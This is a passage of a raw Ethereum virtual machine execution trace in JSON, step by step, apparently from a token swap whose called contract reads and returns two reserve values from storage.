"pc":382,"op":"PUSH2","gas":109244,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":385,"op":"JUMPI","gas":109241,"gasCost":10,"depth":2,"stack":["0x902f1ac","0x0","0x192"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":386,"op":"DUP1","gas":109231,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":387,"op":"PUSH4","gas":109228,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":392,"op":"EQ","gas":109225,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x902f1ac","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":393,"op":"PUSH2","gas":109222,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":396,"op":"JUMPI","gas":109219,"gasCost":10,"depth":2,"stack":["0x902f1ac","0x1","0x1b0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":432,"op":"JUMPDEST","gas":109209,"gasCost":1,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":433,"op":"PUSH1","gas":109208,"gasCost":3,"depth":2,"stack":["0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":435,"op":"SLOAD","gas":109205,"gasCost":2100,"depth":2,"stack":["0x902f1ac","0x9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":436,"op":"PUSH1","gas":107105,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":438,"op":"SLOAD","gas":107102,"gasCost":2100,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0xa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":439,"op":"JUMPDEST","gas":105002,"gasCost":1,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"PUSH1","gas":105001,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"DUP1","gas":104998,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":443,"op":"MLOAD","gas":104995,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"SWAP3","gas":104992,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x40","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":445,"op":"DUP4","gas":104989,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":446,"op":"MSTORE","gas":104986,"gasCost":9,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40","0xc50dfd48a20630e6","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"PUSH1","gas":104977,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":449,"op":"DUP4","gas":104974,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":450,"op":"ADD","gas":104971,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":451,"op":"SWAP2","gas":104968,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x2bda54fce7dbfc916a32","0x40","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":452,"op":"SWAP1","gas":104965,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0xa0","0x40","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":453,"op":"SWAP2","gas":104962,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0xa0","0x2bda54fce7dbfc916a32","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":454,"op":"MSTORE","gas":104959,"gasCost":6,"depth":2,"stack":["0x902f1ac","0x80","0x40","0x2bda54fce7dbfc916a32","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6"]},{"pc":455,"op":"ADD","gas":104953,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":456,"op":"PUSH2","gas":104950,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":459,"op":"JUMP","gas":104947,"gasCost":8,"depth":2,"stack":["0x902f1ac","0xc0","0x1a7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":423,"op":"JUMPDEST","gas":104939,"gasCost":1,"depth":2,"stack":["0x902f1ac","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":424,"op":"PUSH1","gas":104938,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":426,"op":"MLOAD","gas":104935,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":427,"op":"DUP1","gas":104932,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":428,"op":"SWAP2","gas":104929,"gasCost":3,"depth":2,"stack":["0x902f1ac","0xc0","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":429,"op":"SUB","gas":104926,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x80","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":430,"op":"SWAP1","gas":104923,"gasCost":3,"depth":2,"stack":["0x902f1ac","0x80","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":431,"op":"RETURN","gas":104920,"gasCost":0,"depth":2,"stack":["0x902f1ac","0x40","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8693,"op":"ISZERO","gas":106656,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8694,"op":"DUP1","gas":106653,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8695,"op":"ISZERO","gas":106650,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8696,"op":"PUSH2","gas":106647,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8699,"op":"JUMPI","gas":106644,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0","0x1","0x2205"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8709,"op":"JUMPDEST","gas":106634,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8710,"op":"POP","gas":106633,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8711,"op":"POP","gas":106631,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8712,"op":"POP","gas":106629,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8713,"op":"POP","gas":106627,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8714,"op":"PUSH1","gas":106625,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6